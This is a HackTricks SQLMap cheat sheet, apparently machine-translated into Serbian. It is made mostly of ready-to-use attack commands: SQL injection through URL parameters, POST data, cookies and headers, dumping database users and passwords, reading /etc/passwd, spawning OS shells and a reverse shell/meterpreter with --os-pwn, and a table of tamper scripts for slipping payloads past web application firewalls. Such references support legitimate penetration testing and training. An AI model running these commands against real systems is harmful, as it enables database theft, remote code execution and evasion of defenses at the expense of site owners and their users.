SQLMap - Cheatsheet

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovni argumenti za SQLmap

Opšti

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Preuzimanje informacija

Interno

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB podaci

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Korišćenjem SQLMapping to je praktičan alat koji generiše komande i pruža sveobuhvatan pregled, kako osnovnih tako i naprednih, za SQLMap. Uključuje ToolTips koji objašnjavaju svaki aspekt alata, detaljno opisujući svaku opciju kako biste mogli poboljšati i razumeti kako ga koristiti efikasno i efektivno.

Mesto injekcije

Iz Burp/ZAP snimka

Snimite zahtev i kreirajte req.txt datoteku.

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injekcije u zaglavljima i drugim HTTP metodama

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Naznačite string kada je injekcija uspešna

bash
--string="string_showed_when_TRUE"

Tehnika detekcije

Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku detekcije sa argumentima kao što su --prefix ili --suffix, ili ako je složenije, dodajući je u payload-e koje koristi sqlmap u /usr/share/sqlmap/data/xml/payloads/time_blind.xml, na primer za time blind bazirane.

Eval

Sqlmap omogućava korišćenje -e ili --eval za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru flask cookie session je potpisan od strane flaska sa poznatom tajnom pre slanja:

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Čitaj fajl

bash
--file-read=/etc/passwd

Crawling a website with SQLmap and auto-exploit

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi Red Injekcija

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Pročitajte ovaj post o tome kako izvršiti jednostavne i složene druge redne injekcije sa sqlmap-om.

Prilagođavanje injekcije

Postavite sufiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoć u pronalaženju boolean injekcije

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Zapamtite da možete kreirati svoj vlastiti tamper u pythonu i to je veoma jednostavno. Možete pronaći primer tampera na stranici za Drugu Rednu Injekciju ovde.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperOpis
apostrophemask.pyZamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom
apostrophenullencode.pyZamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom
appendnullbyte.pyDodaje kodirani NULL bajt karakter na kraj payload-a
base64encode.pyBase64 kodira sve karaktere u datom payload-u
between.pyZamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #'
bluecoat.pyZamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom
chardoubleencode.pyDvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
commalesslimit.pyZamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.pyZamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.pyZamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane)
charunicodeencode.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022"
charunicodeescape.pyUnicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022"
equaltolike.pyZamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE'
escapequotes.pySlash escape za navodnike (' i ")
greatest.pyZamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom
halfversionedmorekeywords.pyDodaje verzionirani MySQL komentar pre svake ključne reči
ifnull2ifisnull.pyZamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyObavija kompletnu upit sa verzioniranim komentarom
modsecurityzeroversioned.pyObavija kompletnu upit sa komentarom nulte verzije
multiplespaces.pyDodaje više razmaka oko SQL ključnih reči
nonrecursivereplacement.pyZamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri
percentage.pyDodaje znak procenta ('%') ispred svakog karaktera
overlongutf8.pyKonvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane)
randomcase.pyZamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom vrednošću
randomcomments.pyDodaje nasumične komentare SQL ključnim rečima
securesphere.pyDodaje posebno kreiranu string
sp_password.pyDodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova
space2comment.pyZamenjuje karakter razmaka (' ') sa komentarima
space2dash.pyZamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n')
space2hash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2morehash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n')
space2mssqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.pyZamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n')
space2mysqlblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.pyZamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n')
space2plus.pyZamenjuje karakter razmaka (' ') sa plusom ('+')
space2randomblank.pyZamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
symboliclogical.pyZamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i
unionalltounion.pyZamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.pyZamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.pyZamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT'
varnish.pyDodaje HTTP header 'X-originating-IP'
versionedkeywords.pyObavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom
versionedmorekeywords.pyObavija svaku ključnu reč sa verzioniranim MySQL komentarom
xforwardedfor.pyDodaje lažni HTTP header 'X-Forwarded-For'

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks